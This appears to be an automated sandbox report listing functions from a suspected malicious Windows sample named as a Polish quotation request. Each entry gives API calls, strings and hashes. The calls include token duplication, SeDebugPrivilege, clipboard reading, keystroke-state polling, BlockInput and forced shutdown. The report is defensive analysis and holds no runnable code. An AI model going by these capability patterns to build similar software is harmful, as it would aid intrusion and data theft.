Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Thread$Window$AttachInput$ForegroundVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 3778422247-2988720461
Opcode ID: ec12ba9e870cc2e5dd85ad52799cb15a6745d125a488419c4f0ebb71fc1ee38e
Instruction ID: 6108fbe056c1a000d5481f33e03d330ccc862392245923d3170deea12ea07584
Opcode Fuzzy Hash: ec12ba9e870cc2e5dd85ad52799cb15a6745d125a488419c4f0ebb71fc1ee38e
Instruction Fuzzy Hash: AC31A4712803157FE6245BA59D0EF7F3F9CEB48B51F10082EFA02EA1D1DAE458009B79

Function 004461ED Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 227processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0044621B
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,?,?,?,?,?,?,?), ref: 00446277
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0044628A
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 004462A4
GetProcessWindowStation.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 004462BD
SetProcessWindowStation.USER32(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004462C8
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 004462E4
_wcslen.LIBCMT ref: 0044639E

Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734

_wcsncpy.LIBCMT ref: 004463C7
LoadUserProfileW.USERENV(?,00000000,00000000,?,?,00000000,?,?,?,?), ref: 004463E7
CreateEnvironmentBlock.USERENV(?,?,00000000,00000000,?,?,00000000,?,?,?,?), ref: 00446408
CreateProcessAsUserW.ADVAPI32(?,00000000,00000000,00000000,00000000,?,?,?,?,?,?,00000000,?,?,00000000,?), ref: 00446446
UnloadUserProfile.USERENV(?,?,?,?,?,?,?), ref: 00446483
CloseWindowStation.USER32(00000000,?,?,?,?), ref: 00446497
CloseDesktop.USER32(00000000,?,?,?,?), ref: 0044649E
SetProcessWindowStation.USER32(?,?,?,?,?), ref: 004464A9
CloseHandle.KERNEL32(?,?,?,?,?), ref: 004464B4
DestroyEnvironmentBlock.USERENV(?,?,?,?,?,?), ref: 004464C8

Strings

, xrefs: 00446227
default, xrefs: 004462DF
winsta0, xrefs: 0044629F

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: StationWindow$CloseProcess$User$BlockCreateDesktopEnvironmentHandleOpenProfile$DestroyDuplicateLoadTokenUnload_malloc_memset_wcslen_wcsncpy
String ID: $default$winsta0
API String ID: 2173856841-1027155976
Opcode ID: 094431d5554b704bab95630eeb884343d6d39e89a6cd3f795acd0a4f96f0a885
Instruction ID: eafd5d154f9bcf2590b8f8eb1e0f3d39b01f77f2fd200ee1cb9c7344d9c52646
Opcode Fuzzy Hash: 094431d5554b704bab95630eeb884343d6d39e89a6cd3f795acd0a4f96f0a885
Instruction Fuzzy Hash: DD819170208341AFE724DF65C848B6FBBE8AF89744F04491DF69097291DBB8D805CB6B

Function 00464422 Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 193threadCOMMON

Download Yara Rule

APIs

Part of subcall function 00444233: _wcslen.LIBCMT ref: 0044424E

OpenProcess.KERNEL32(00000001,00000000,?), ref: 0046449E
GetLastError.KERNEL32 ref: 004644B4
GetCurrentThread.KERNEL32 ref: 004644C8
OpenThreadToken.ADVAPI32(00000000), ref: 004644CF
GetCurrentProcess.KERNEL32(00000028,?), ref: 004644E0
OpenProcessToken.ADVAPI32(00000000), ref: 004644E7

Strings

SeDebugPrivilege, xrefs: 00464511

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: OpenProcess$CurrentThreadToken$ErrorLast_wcslen
String ID: SeDebugPrivilege
API String ID: 1312810259-2896544425
Opcode ID: bb2abcbadcb50e0008f3b1fe3e217bfa736f6ade076d8095da49bf04f95d98f8
Instruction ID: c3f5e6af55eb0da9fa74db60d4f5a84adac3a89a74612fbe59a223ef38337450
Opcode Fuzzy Hash: bb2abcbadcb50e0008f3b1fe3e217bfa736f6ade076d8095da49bf04f95d98f8
Instruction Fuzzy Hash: 0E51A171200201AFD710DF65DD85F5BB7A8AB84704F10892EFB44DB2C1D7B8E844CBAA

Function 00444078 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 94timesleepCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00444082
timeGetTime.WINMM ref: 0044409D
Sleep.KERNEL32(0000000A), ref: 00444183

Strings

BUTTON, xrefs: 004440D8

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Timetime$Sleep
String ID: BUTTON
API String ID: 4176159691-3405671355
Opcode ID: c9fcf2e0d9fa6a0073e84c27d550d5c6e5d49d4b0adb2218bf3fff485548fdb5
Instruction ID: 32c89cc89acb3c111fc3cc5f781edb0c57d51ec263d79eeef99f8852f1a29925
Opcode Fuzzy Hash: c9fcf2e0d9fa6a0073e84c27d550d5c6e5d49d4b0adb2218bf3fff485548fdb5
Instruction Fuzzy Hash: CB21B7723843016BE330DB74FD4DF5A7B94A7A5B51F244876F600E6290D7A5D442876C

Function 004364AA Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 79shutdownCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028,?), ref: 004364B9
OpenProcessToken.ADVAPI32(00000000), ref: 004364C0
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 004364D6
AdjustTokenPrivileges.ADVAPI32 ref: 004364FE
GetLastError.KERNEL32 ref: 00436504
ExitWindowsEx.USER32(?,00000000), ref: 00436527
InitiateSystemShutdownExW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000001), ref: 00436557
SetSystemPowerState.KERNEL32(00000001,00000000), ref: 0043656A

Strings

SeShutdownPrivilege, xrefs: 004364CF

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: ProcessSystemToken$AdjustCurrentErrorExitInitiateLastLookupOpenPowerPrivilegePrivilegesShutdownStateValueWindows
String ID: SeShutdownPrivilege
API String ID: 2938487562-3733053543
Opcode ID: 9f228ad1da6a4c81f8cb5394189ecc1147849337ed66d96e43b1ced3868a671c
Instruction ID: b625d7910520021a286729d09db348b3c4b0b131b75d5259d4bd29649b467962
Opcode Fuzzy Hash: 9f228ad1da6a4c81f8cb5394189ecc1147849337ed66d96e43b1ced3868a671c
Instruction Fuzzy Hash: E021D5B02803017FF7149B64DD4AF6B3398EB48B10F948829FE09852D2D6BDE844973D

Function 0043614F Relevance: 16.6, APIs: 11, Instructions: 103COMMON

Download Yara Rule

APIs

__swprintf.LIBCMT ref: 00436162
__swprintf.LIBCMT ref: 00436176

Part of subcall function 0041353A: __woutput_l.LIBCMT ref: 0041358F

__wcsicoll.LIBCMT ref: 00436185
FindResourceW.KERNEL32(?,?,0000000E), ref: 004361A6
LoadResource.KERNEL32(?,00000000), ref: 004361AE
LockResource.KERNEL32(00000000), ref: 004361B5
FindResourceW.KERNEL32(?,?,00000003), ref: 004361DA
LoadResource.KERNEL32(?,00000000), ref: 004361E4
SizeofResource.KERNEL32(?,00000000), ref: 004361F0
LockResource.KERNEL32(?), ref: 004361FD

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Resource$FindLoadLock__swprintf$Sizeof__wcsicoll__woutput_l
String ID:
API String ID: 2406429042-0
Opcode ID: c1b2c305ea449a9eaa2c50be24a6d356ee30b865a6e7eb3c9e4c44cc17d92184
Instruction ID: 79d88324f8a28cdfdddc37bd7103cac5134eefaeeaedb246b69d205017f9fa0d
Opcode Fuzzy Hash: c1b2c305ea449a9eaa2c50be24a6d356ee30b865a6e7eb3c9e4c44cc17d92184
Instruction Fuzzy Hash: 82313432104210BFD700EF64ED88EAF77A9FB89304F00882BFA4196150E778D940CB68

Function 0045D517 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 91COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0045D522
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,?), ref: 0045D593
GetLastError.KERNEL32 ref: 0045D59D
SetErrorMode.KERNEL32(?), ref: 0045D629

Strings

READONLY, xrefs: 0045D5EC
INVALID, xrefs: 0045D5CC
READY, xrefs: 0045D5BC
NOTREADY, xrefs: 0045D5DC
UNKNOWN, xrefs: 0045D5FC

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: 49e0e17e9479d30b414134c7f78092e00673ae1a45d158f41d80208550ba4cb8
Instruction ID: 49a1caac5541b587bc648ef7caa6256b54369420b38b3993b587487a6931f65b
Opcode Fuzzy Hash: 49e0e17e9479d30b414134c7f78092e00673ae1a45d158f41d80208550ba4cb8
Instruction Fuzzy Hash: BA31AD75A083009FC310EF55D98090BB7E1AF89315F448D6FF94997362D778E9068B6A

Function 0043701F Relevance: 10.6, APIs: 7, Instructions: 76processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00437043
Process32FirstW.KERNEL32(00000000,00000002), ref: 00437050
Process32NextW.KERNEL32(00000000,?), ref: 00437075
__wsplitpath.LIBCMT ref: 004370A5

Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2

_wcscat.LIBCMT ref: 004370BA
__wcsicoll.LIBCMT ref: 004370C8
CloseHandle.KERNEL32(00000000,?), ref: 00437105

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wcsicoll__wsplitpath__wsplitpath_helper_wcscat
String ID:
API String ID: 2547909840-0
Opcode ID: fd838752e9d0606085fad0ec29118efadb7b5f17250a81beb0a2f2c9513d2e10
Instruction ID: d866d71778569fbbd99b025f777f77cc3db9ba9c83dfb601fa45888e96c7797d
Opcode Fuzzy Hash: fd838752e9d0606085fad0ec29118efadb7b5f17250a81beb0a2f2c9513d2e10
Instruction Fuzzy Hash: 9C21A7B20083819BD735DB55C881BEFB7E8BB99304F00491EF5C947241EB79A589CB6A

Function 00452126 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 127filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71

FindFirstFileW.KERNEL32(?,?,?,?,?,00000000), ref: 0045217E
Sleep.KERNEL32(0000000A,?,?,00000000), ref: 004521B2
FindNextFileW.KERNEL32(?,?,?,00000000), ref: 004522AC
FindClose.KERNEL32(?,?,00000000), ref: 004522C3

Strings

*.*, xrefs: 0045215E

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Find$File$CloseFirstNextSleep_wcslen
String ID: *.*
API String ID: 2693929171-438819550
Opcode ID: 17936c38af85c1dbfc3d1ebbd0b26446ca2a596e07a4ad84d79ac0689e190811
Instruction ID: e6452ff64139cddd5fd774ab19bf2199aa97b2a19dc0f7115334900b47d689b2
Opcode Fuzzy Hash: 17936c38af85c1dbfc3d1ebbd0b26446ca2a596e07a4ad84d79ac0689e190811
Instruction Fuzzy Hash: BD419D756083409FC314DF25C984A9FB7E4BF86305F04491FF98993291DBB8E949CB5A

Function 0046C5D0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(?), ref: 0046C635
IsClipboardFormatAvailable.USER32(0000000D), ref: 0046C643
GetClipboardData.USER32(0000000D), ref: 0046C64F
CloseClipboard.USER32 ref: 0046C65D
GlobalLock.KERNEL32(00000000), ref: 0046C688
CloseClipboard.USER32 ref: 0046C692
IsClipboardFormatAvailable.USER32(00000001), ref: 0046C6D5
GetClipboardData.USER32(00000001), ref: 0046C6DD
GlobalLock.KERNEL32(00000000), ref: 0046C6EE
GlobalUnlock.KERNEL32(00000000), ref: 0046C726
CloseClipboard.USER32 ref: 0046C866

Strings

HH, xrefs: 0046C625

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Clipboard$CloseGlobal$AvailableDataFormatLock$OpenUnlock
String ID: HH
API String ID: 589737431-2761332787
Opcode ID: 76419e0badb028214ed7bad9e924c36871e80023f9f647d131bfc03e45e064d3
Instruction ID: 5556deb4c8197336e1b92b5e2a85e957832ef7964462d916cb468ff193882e13
Opcode Fuzzy Hash: 76419e0badb028214ed7bad9e924c36871e80023f9f647d131bfc03e45e064d3
Instruction Fuzzy Hash: 7301F5762042005FC300AFB9ED45B6A7BA4EF59704F04097FF980A72C1EBB1E915C7AA

Function 00436431 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

__wcsicoll.LIBCMT ref: 0043643C
mouse_event.USER32(00000800,00000000,00000000,00000078,00000000), ref: 00436452
__wcsicoll.LIBCMT ref: 00436466
mouse_event.USER32(00000800,00000000,00000000,00000088,00000000), ref: 0043647C

Strings

DOWN, xrefs: 00436460

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: __wcsicollmouse_event
String ID: DOWN
API String ID: 1033544147-711622031
Opcode ID: 8e71a22f1bb6dc727f393f419cee3c46fab46d9365d91d475c80ba63e0095046
Instruction ID: 8a73d33e481528181e274ae5662561dddcd8f7088196b39fde8242b6fe69d79f
Opcode Fuzzy Hash: 8e71a22f1bb6dc727f393f419cee3c46fab46d9365d91d475c80ba63e0095046
Instruction Fuzzy Hash: 75E0927558872039FC4036253C02FFB174CAB66796F018116FE00D1291EA586D865BBD

Function 004741BB Relevance: 7.6, APIs: 5, Instructions: 137networkCOMMON

Download Yara Rule

APIs

Part of subcall function 004647A2: inet_addr.WSOCK32(?), ref: 004647C7

socket.WSOCK32(00000002,00000002,00000011,?,00000000), ref: 00474213
WSAGetLastError.WSOCK32(00000000), ref: 00474233

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: ErrorLastinet_addrsocket
String ID:
API String ID: 4170576061-0
Opcode ID: c11ce247c64ee683b380b6a697379cd3ea863651eb179087c325b129d43524e0
Instruction ID: 44a7e99483396e6262e636993c5e510db402c36a24f0b6146f21617b09e75fab
Opcode Fuzzy Hash: c11ce247c64ee683b380b6a697379cd3ea863651eb179087c325b129d43524e0
Instruction Fuzzy Hash: B6412C7164030067E720BB3A8C83F5A72D89F40728F144D5EF954BB2C3D6BAAD45475D

Function 00456354 Relevance: 7.6, APIs: 5, Instructions: 127keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(004A83D8), ref: 0045636A
ScreenToClient.USER32(004A83D8,?), ref: 0045638A
GetAsyncKeyState.USER32(?), ref: 004563D0
GetAsyncKeyState.USER32(?), ref: 004563DC
GetWindowLongW.USER32(?,000000F0), ref: 00456430

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: AsyncState$ClientCursorLongScreenWindow
String ID:
API String ID: 3539004672-0
Opcode ID: 8b6f1a7d11e91e3692d621cb91ecba55955a7a9a0de246f0cd2a62484a80ce0b
Instruction ID: 0eacbf52c9ff4b21db6d2500407d28a57be55752a0539e191fb639d8ee6a043b
Opcode Fuzzy Hash: 8b6f1a7d11e91e3692d621cb91ecba55955a7a9a0de246f0cd2a62484a80ce0b
Instruction Fuzzy Hash: 8E416071108341ABD724DF55CD84EBBB7E9EF86725F540B0EB8A543281C734A848CB6A

Function 004772DE Relevance: 7.6, APIs: 5, Instructions: 67windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0046DD22: IsWindow.USER32(00000000), ref: 0046DD51

IsWindowVisible.USER32 ref: 00477314
IsWindowEnabled.USER32 ref: 00477324
GetForegroundWindow.USER32(?,?,?,00000001,?,?), ref: 00477331
IsIconic.USER32 ref: 0047733F
IsZoomed.USER32 ref: 0047734D

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: 1c24098bd8cb9da3f496229370c910df04dc27541171caa4f2956f9c30b83eee
Instruction ID: c753cb395bd8887e5e04db90522a3107d7308fd2cfa588f53a4db7a4177bc043
Opcode Fuzzy Hash: 1c24098bd8cb9da3f496229370c910df04dc27541171caa4f2956f9c30b83eee
Instruction Fuzzy Hash: 351172327041119BE3209B26DD05B9FB7A8AF91310F05882EFC49E7250D7B8EC42D7A9

Function 0045A259 Relevance: 1.5, APIs: 1, Instructions: 21keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 0045A272

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: f8b7596c9daf0cf449ec099d4cdbafb4be693b9bdeaa48314d03f681346fce8b
Instruction ID: 5d782454ef4d0180448527013755d2523f66e5fc327f68786c1d80a86620ac83
Opcode Fuzzy Hash: f8b7596c9daf0cf449ec099d4cdbafb4be693b9bdeaa48314d03f681346fce8b
Instruction Fuzzy Hash: D2E04F752043019BC700EF71C545A5BB7E4AF94314F108C6EF845A7351D775AC45CB66

Function 0043916A Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

LogonUserW.ADVAPI32(?,?,?,?,00000000,?), ref: 0043918E

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: LogonUser
String ID:
API String ID: 1244722697-0
Opcode ID: 365ca9639b26e9c6c56151d88f527b1e4ffaee0f54dfd66c8778d151900be7f4
Instruction ID: 63114e5cfb2c4979e73f5d19eacf740c811f86df1a08bc2cb556a5e36cce81ff
Opcode Fuzzy Hash: 365ca9639b26e9c6c56151d88f527b1e4ffaee0f54dfd66c8778d151900be7f4
Instruction Fuzzy Hash: 8DD0ECB52686066FD204CB24D846E2B77E9A7C4701F008A0CB196D2280C670D805CA32

Function 0042202E Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00021FEC), ref: 00422033

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
